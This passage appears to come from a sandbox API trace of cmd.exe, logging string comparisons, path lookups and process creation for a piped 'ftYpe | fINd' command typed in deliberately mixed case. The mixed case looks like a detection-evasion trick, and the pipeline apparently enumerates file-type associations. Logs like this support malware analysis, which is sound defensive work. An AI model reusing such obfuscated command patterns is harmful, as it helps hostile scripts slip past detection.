(_String1="ftYpe", _String2="EXIT") returned 1 [0099.412] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13 [0099.412] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1 [0099.412] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14 [0099.412] _wcsicmp (_String1="ftYpe", _String2="START") returned -13 [0099.412] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2 [0099.412] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5 [0099.412] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7 [0099.412] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10 [0099.412] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10 [0099.412] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5 [0099.412] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0 [0099.412] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0099.412] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0099.413] SetErrorMode (uMode=0x0) returned 0x8001 [0099.413] SetErrorMode (uMode=0x1) returned 0x0 [0099.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x3896d0, lpFilePart=0x1cf180 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1cf180*="system32") returned 0x13 [0099.413] SetErrorMode (uMode=0x8001) returned 0x1 [0099.413] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1 [0099.413] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0099.418] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0099.418] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0x1ceef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceef0) returned 0x389800 [0099.418] FindClose (in: hFindFile=0x389800 | out: hFindFile=0x389800) returned 1 [0099.418] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0099.418] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0099.418] GetConsoleTitleW (in: lpConsoleTitle=0x1cf440, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0099.419] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cf1f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cf1b8 | out: lpAttributeList=0x1cf1f8, lpSize=0x1cf1b8) returned 1 [0099.419] UpdateProcThreadAttribute (in: lpAttributeList=0x1cf1f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cf1a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cf1f8, lpPreviousValue=0x0) returned 1 [0099.419] GetStartupInfoW (in: lpStartupInfo=0x1cf310 | out: lpStartupInfo=0x1cf310*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x5c, hStdError=0xb)) [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0099.419] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0099.420] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0099.421] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0099.422] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1cf230*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cf1e0 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /S /D /c\" ftYpe \"", lpProcessInformation=0x1cf1e0*(hProcess=0x64, hThread=0x58, dwProcessId=0xae8, dwThreadId=0xaec)) returned 1 [0099.479] CloseHandle (hObject=0x58) returned 1 [0099.479] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0099.479] GetEnvironmentStringsW () returned 0x38bde0* [0099.479] FreeEnvironmentStringsW (penv=0x38bde0) returned 1 [0099.479] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cf1f8 | out: lpAttributeList=0x1cf1f8) [0099.479] _get_osfhandle (_FileHandle=3) returned 0x54 [0099.479] DuplicateHandle (in: hSourceProcessHandle=0x64, hSourceHandle=0x54, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0099.479] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0 [0099.479] _close (_FileHandle=5) returned 0 [0099.479] _dup (_FileHandle=0) returned 4 [0099.480] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0 [0099.480] _close (_FileHandle=3) returned 0 [0099.480] _wcsicmp (_String1="fINd", _String2="DIR") returned 2 [0099.480] _wcsicmp (_String1="fINd", _String2="ERASE") returned 1 [0099.480] _wcsicmp (_String1="fINd", _String2="DEL") returned 2 [0099.480] _wcsicmp (_String1="fINd", _String2="TYPE") returned -14 [0099.480] _wcsicmp (_String1="fINd", _String2="COPY") returned 3 [0099.481] _wcsicmp (_String1="fINd", _String2="CD") returned 3 [0099.481] _wcsicmp (_String1="fINd", _String2="CHDIR") returned 3 [0099.481] _wcsicmp (_String1="fINd", _String2="RENAME") returned -12 [0099.481] _wcsicmp (_String1="fINd", _String2="REN") returned -12 [0099.481] _wcsicmp (_String1="fINd", _String2="ECHO") returned 1 [0099.481] _wcsicmp (_String1="fINd", _String2="SET") returned -13 [0099.481] _wcsicmp (_String1="fINd", _String2="PAUSE") returned -10 [0099.481] _wcsicmp (_String1="fINd", _String2="DATE") returned 2 [0099.481] _wcsicmp (_String1="fINd", _String2="TIME") returned -14 [0099.481] _wcsicmp (_String1="fINd", _String2="PROMPT") returned -10 [0099.481] _wcsicmp (_String1="fINd", _String2="MD") returned -7 [0099.481] _wcsicmp (_String1="fINd", _String2="MKDIR") returned -7 [0099.481] _wcsicmp (_String1="fINd", _String2="RD") returned -12 [0099.481] _wcsicmp (_String1="fINd", _String2="RMDIR") returned -12 [0099.481] _wcsicmp (_String1="fINd", _String2="PATH") returned -10 [0099.481] _wcsicmp (_String1="fINd", _String2="GOTO") returned -1 [0099.481] _wcsicmp (_String1="fINd", _String2="SHIFT") returned -13 [0099.481] _wcsicmp (_String1="fINd", _String2="CLS") returned 3 [0099.481] _wcsicmp (_String1="fINd", _String2="CALL") returned 3 [0099.481] _wcsicmp (_String1="fINd", _String2="VERIFY") returned -16 [0099.481] _wcsicmp (_String1="fINd", _String2="VER") returned -16 [0099.481] _wcsicmp (_String1="fINd", _String2="VOL") returned -16 [0099.481] _wcsicmp (_String1="fINd", _String2="EXIT") returned 1 [0099.481] _wcsicmp (_String1="fINd", _String2="SETLOCAL") returned -13 [0099.481] _wcsicmp (_String1="fINd", _String2="ENDLOCAL") returned 1 [0099.481] _wcsicmp (_String1="fINd", _String2="TITLE") returned -14 [0099.481] _wcsicmp (_String1="fINd", _String2="START") returned -13 [0099.481] _wcsicmp (_String1="fINd", _String2="DPATH") returned 2 [0099.481] _wcsicmp (_String1="fINd", _String2="KEYS") returned -5 [0099.481] _wcsicmp (_String1="fINd", _String2="MOVE") returned -7 [0099.481] _wcsicmp (_String1="fINd", _String2="PUSHD") returned -10 [0099.481] _wcsicmp (_String1="fINd", _String2="POPD") returned -10 [0099.481] _wcsicmp (_String1="fINd", _String2="ASSOC") returned 5 [0099.481] _wcsicmp (_String1="fINd", _String2="FTYPE") returned -11 [0099.482] _wcsicmp (_String1="fINd", _String2="BREAK") returned 4 [0099.482] _wcsicmp (_String1="fINd", _String2="COLOR") returned 3 [0099.482] _wcsicmp (_String1="fINd", _String2="MKLINK") returned -7 [0099.482] _wcsicmp (_String1="fINd", _String2="DIR") returned 2 [0099.482] _wcsicmp (_String1="fINd", _String2="ERASE") returned 1 [0099.482] _wcsicmp (_String1="fINd", _String2="DEL") returned 2 [0099.482] _wcsicmp (_String1="fINd", _String2="TYPE") returned -14 [0099.482] _wcsicmp (_String1="fINd", _String2="COPY") returned 3 [0099.482] _wcsicmp (_String1="fINd", _String2="CD") returned 3 [0099.482] _wcsicmp (_String1="fINd", _String2="CHDIR") returned 3 [0099.482] _wcsicmp (_String1="fINd", _String2="RENAME") returned -12 [0099.482] _wcsicmp (_String1="fINd", _String2="REN") returned -12 [0099.482] _wcsicmp (_String1="fINd", _String2="ECHO") returned 1 [0099.482] _wcsicmp (_String1="fINd", _String2="SET") returned -13 [0099.482] _wcsicmp (_String1="fINd", _String2="PAUSE") returned -10 [0099.482] _wcsicmp (_String1="fINd", _String2="DATE") returned 2 [0099.482] _wcsicmp (_String1="fINd", _String2="TIME") returned -14 [0099.482] _wcsicmp (_String1="fINd", _String2="PROMPT") returned -10 [0099.482] _wcsicmp (_String1="fINd", _String2="MD") returned -7 [0099.482] _wcsicmp (_String1="fINd", _String2="MKDIR") returned -7 [0099.482] _wcsicmp (_String1="fINd", _String2="RD") returned -12 [0099.482] _wcsicmp (_String1="fINd", _String2="RMDIR") returned -12 [0099.482] _wcsicmp (_String1="fINd", _String2="PATH") returned -10 [0099.482] _wcsicmp (_String1="fINd", _String2="GOTO") returned -1 [0099.482] _wcsicmp (_String1="fINd", _String2="SHIFT") returned -13 [0099.482] _wcsicmp (_String1="fINd", _String2="CLS") returned 3 [0099.482] _wcsicmp (_String1="fINd", _String2="CALL") returned 3 [0099.482] _wcsicmp (_String1="fINd", _String2="VERIFY") returned -16 [0099.482] _wcsicmp (_String1="fINd", _String2="VER") returned -16 [0099.482] _wcsicmp (_String1="fINd", _String2="VOL") returned -16 [0099.482] _wcsicmp (_String1="fINd", _String2="EXIT") returned 1 [0099.482] _wcsicmp (_String1="fINd", _String2="SETLOCAL") returned -13 [0099.482] _wcsicmp (_String1="fINd", _String2="ENDLOCAL") returned 1 [0099.483] _wcsicmp (_String1="fINd", _String2="TITLE") returned -14 [0099.483] _wcsicmp (_String1="fINd", _String2="START") returned -13 [0099.483] _wcsicmp (_String1="fINd", _String2="DPATH") returned 2 [0099.483] _wcsicmp (_String1="fINd", _String2="KEYS") returned -5 [0099.483] _wcsicmp (_String1="fINd", _String2="MOVE") returned -7 [0099.483] _wcsicmp (_String1="fINd", _String2="PUSHD") returned -10 [0099.483] _wcsicmp (_String1="fINd", _String2="POPD") returned -10 [0099.483] _wcsicmp (_String1="fINd", _String2="ASSOC") returned 5 [0099.483] _wcsicmp (_String1="fINd", _String2="FTYPE") returned -11 [0099.483] _wcsicmp (_String1="fINd", _String2="BREAK") returned 4 [0099.483] _wcsicmp (_String1="fINd", _String2="COLOR") returned 3 [0099.483] _wcsicmp (_String1="fINd", _String2="MKLINK") returned -7 [0099.483] _wcsicmp (_String1="fINd", _String2="FOR") returned -6 [0099.483] _wcsicmp (_String1="fINd", _String2="IF") returned -3 [0099.483] _wcsicmp (_String1="fINd", _String2="REM") returned -12 [0099.483] _wcsicmp (_String1="fINd", _String2="DIR") returned 2 [0099.483] _wcsicmp (_String1="fINd", _String2="ERASE") returned 1 [0099.483] _wcsicmp (_String1="fINd", _String2="DEL") returned 2 [0099.484] _wcsicmp (_String1="fINd", _String2="TYPE") returned -14 [0099.484] _wcsicmp (_String1="fINd", _String2="COPY") returned 3 [0099.484] _wcsicmp (_String1="fINd", _String2="CD") returned 3 [0099.484] _wcsicmp (_String1="fINd", _String2="CHDIR") returned 3 [0099.484] _wcsicmp (_String1="fINd", _String2="RENAME") returned -12 [0099.484] _wcsicmp (_String1="fINd", _String2="REN") returned -12 [0099.484] _wcsicmp (_String1="fINd", _String2="ECHO") returned 1 [0099.484] _wcsicmp (_String1="fINd", _String2="SET") returned -13 [0099.484] _wcsicmp (_String1="fINd", _String2="PAUSE") returned -10 [0099.484] _wcsicmp (_String1="fINd", _String2="DATE") returned 2 [0099.484] _wcsicmp (_String1="fINd", _String2="TIME") returned -14 [0099.484] _wcsicmp (_String1="fINd", _String2="PROMPT") returned -10 [0099.484] _wcsicmp (_String1="fINd", _String2="MD") returned -7 [0099.484] _wcsicmp (_String1="fINd", _String2="MKDIR") returned -7 [0099.484] _wcsicmp (_String1="fINd", _String2="RD") returned -12 [0099.484] _wcsicmp (_String1="fINd", _String2="RMDIR") returned -12 [0099.484] _wcsicmp (_String1="fINd", _String2="PATH") returned -10 [0099.484] _wcsicmp (_String1="fINd", _String2="GOTO") returned -1 [0099.484] _wcsicmp (_String1="fINd", _String2="SHIFT") returned -13 [0099.484] _wcsicmp (_String1="fINd", _String2="CLS") returned 3 [0099.484] _wcsicmp (_String1="fINd", _String2="CALL") returned 3 [0099.484] _wcsicmp (_String1="fINd", _String2="VERIFY") returned -16 [0099.484] _wcsicmp (_String1="fINd", _String2="VER") returned -16 [0099.484] _wcsicmp (_String1="fINd", _String2="VOL") returned -16 [0099.484] _wcsicmp (_String1="fINd", _String2="EXIT") returned 1 [0099.484] _wcsicmp (_String1="fINd", _String2="SETLOCAL") returned -13 [0099.484] _wcsicmp (_String1="fINd", _String2="ENDLOCAL") returned 1 [0099.484] _wcsicmp (_String1="fINd", _String2="TITLE") returned -14 [0099.484] _wcsicmp (_String1="fINd", _String2="START") returned -13 [0099.484] _wcsicmp (_String1="fINd", _String2="DPATH") returned 2 [0099.484] _wcsicmp (_String1="fINd", _String2="KEYS") returned -5 [0099.484] _wcsicmp (_String1="fINd", _String2="MOVE") returned -7 [0099.484] _wcsicmp (_String1="fINd", _String2="PUSHD") returned -10 [0099.484] _wcsicmp (_String1="fINd", _String2="POPD") returned -10 [0099.484] _wcsicmp (_String1="fINd", _String2="ASSOC") returned 5 [0099.484] _wcsicmp (_String1="fINd", _String2="FTYPE") returned -11 [0099.484] _wcsicmp (_String1="fINd", _String2="BREAK") returned 4 [0099.484] _wcsicmp (_String1="fINd", _String2="COLOR") returned 3 [0099.484] _wcsicmp (_String1="fINd", _String2="MKLINK") returned -7 [0099.484] _wcsnicmp (_String1="fINd", _String2="cmd ", _MaxCount=0x4) returned 3 [0099.485] SetErrorMode (uMode=0x0) returned 0x8001 [0099.485] SetErrorMode (uMode=0x1) returned 0x0 [0099.485] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x38bdf0, lpFilePart=0x1cf3f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1cf3f0*="Desktop") returned 0x19 [0099.485] SetErrorMode (uMode=0x8001) returned 0x1 [0099.485] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0099.485] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0099.488] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0099.489] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0099.489] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\fINd.*", fInfoLevelId=0x1, lpFindFileData=0x1cf160, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf160) returned 0xffffffffffffffff [0099.489] GetLastError () returned 0x2 [0099.489] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\fINd", fInfoLevelId=0x1, lpFindFileData=0x1cf160, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf160) returned 0xffffffffffffffff [0099.489] GetLastError () returned 0x2 [0099.489] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0099.489] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\fINd.*", fInfoLevelId=0x1, lpFindFileData=0x1cf160, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf160) returned 0x38a210 [0099.490] FindClose (in: hFindFile=0x38a210 | out: hFindFile=0x38a210) returned 1 [0099.490] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\find.COM", fInfoLevelId=0x1, lpFindFileData=0x1cf160, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf160) returned 0xffffffffffffffff [0099.490] GetLastError () returned 0x2 [0099.490] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\find.EXE", fInfoLevelId=0x1, lpFindFileData=0x1cf160, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cf160) returned 0x38a210 [0099.490] FindClose (in: hFindFile=0x38a210 | out: hFindFile=0x38a210) returned 1 [0099.490] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0099.490] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0099.490] SetErrorMode (uMode=0x0) returned 0x8001 [0099.490] SetErrorMode (uMode=0x1) returned 0x0 [0099.490] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x38c1f0, lpFilePart=0x1cf180 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1cf180*="Desktop") returned 0x19 [0099.490] SetErrorMode (uMode=0x8001) returned 0x1 [0099.491] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0099.491] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0099.491] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0099.491] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0099.491] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\fINd.*", fInfoLevelId=0x1, lpFindFileData=0x1ceef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceef0) returned 0xffffffffffffffff [0099.491] GetLastError () returned 0x2 [0099.491] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\fINd", fInfoLevelId=0x1, lpFindFileData=0x1ceef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceef0) returned 0xffffffffffffffff [0099.492] GetLastError () returned 0x2 [0099.492] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0099.492] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\fINd.*", fInfoLevelId=0x1, lpFindFileData=0x1ceef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceef0) returned 0x38a210 [0099.492] FindClose (in: hFindFile=0x38a210 | out: hFindFile=0x38a210) returned 1 [0099.492] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\find.COM", fInfoLevelId=0x1, lpFindFileData=0x1ceef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceef0) returned 0xffffffffffffffff [0099.492] GetLastError () returned 0x2 [0099.492] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\find.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ceef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ceef0) returned 0x38a210 [0099.492] FindClose (in: hFindFile=0x38a210 | out: hFindFile=0x38a210) returned 1 [0099.492] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0099.492] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0099.492] GetConsoleTitleW (in: lpConsoleTitle=0x1cf440, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0099.493] InitializeProcThreadAttributeList (in: lpAttributeList=0x1cf1f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1cf1b8 | out: lpAttributeList=0x1cf1f8, lpSize=0x1cf1b8) returned 1 [0099.493] UpdateProcThreadAttribute (in: lpAttributeList=0x1cf1f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1cf1a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1cf1f8, lpPreviousValue=0x0) returned 1 [0099.493] GetStartupInfoW (in: lpStartupInfo=0x1cf310 | out: lpStartupInfo=0x1cf310*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x60, hStdOutput=0x5c, hStdError=0xb)) [0099.493] lstrcmpW (lpString1="\\find.exe", lpString2="\\XCOPY.EXE") returned -1 [0099.493] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\find.exe", lpCommandLine="fINd \"SHCm\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1cf230*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="fINd \"SHCm\" ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1cf1e0 | out: lpCommandLine="fINd \"SHCm\" ", lpProcessInformation=0x1cf1e0*(hProcess=0x58, hThread=0x54, dwProcessId=0xaf0, dwThreadId=0xaf4)) returned 1 [0099.498] CloseHandle (hObject=0x54) returned 1 [0099.498] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0099.498] GetEnvironmentStringsW () returned 0x390b00* [0099.498] FreeEnvironmentStringsW (penv=0x390b00) returned 1 [0099.498] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cf1f8 | out: lpAttributeList=0x1cf1f8) [0099.498] _dup2 (_FileHandleSrc=4, _FileHandleDst=0) returned 0 [0099.498] _close (_FileHandle=4) returned 0 [0099.498] WaitForSingleObject (hHandle=0x64, dwMilliseconds=0xffffffff) returned 0x0 [0102.016] GetExitCodeProcess (in: hProcess=0x64, lpExitCode=0x1cf718 | out: lpExitCode=0x1cf718*=0x0) returned 1 [0102.016] CloseHandle (hObject=0x64) returned 1 [0102.016] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0102.016] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x1cf718 | out: lpExitCode=0x1cf718*=0x0) returned 1 [0102.016] CloseHandle (hObject=0x58) returned 1 [0102.016] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.016] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0 [0102.016] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.016] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0102.016] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.016] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0102.017] SetConsoleInputExeNameW () returned 0x1 [0102.017] GetConsoleOutputCP () returned 0x1b5 [0102.017] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0102.017] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 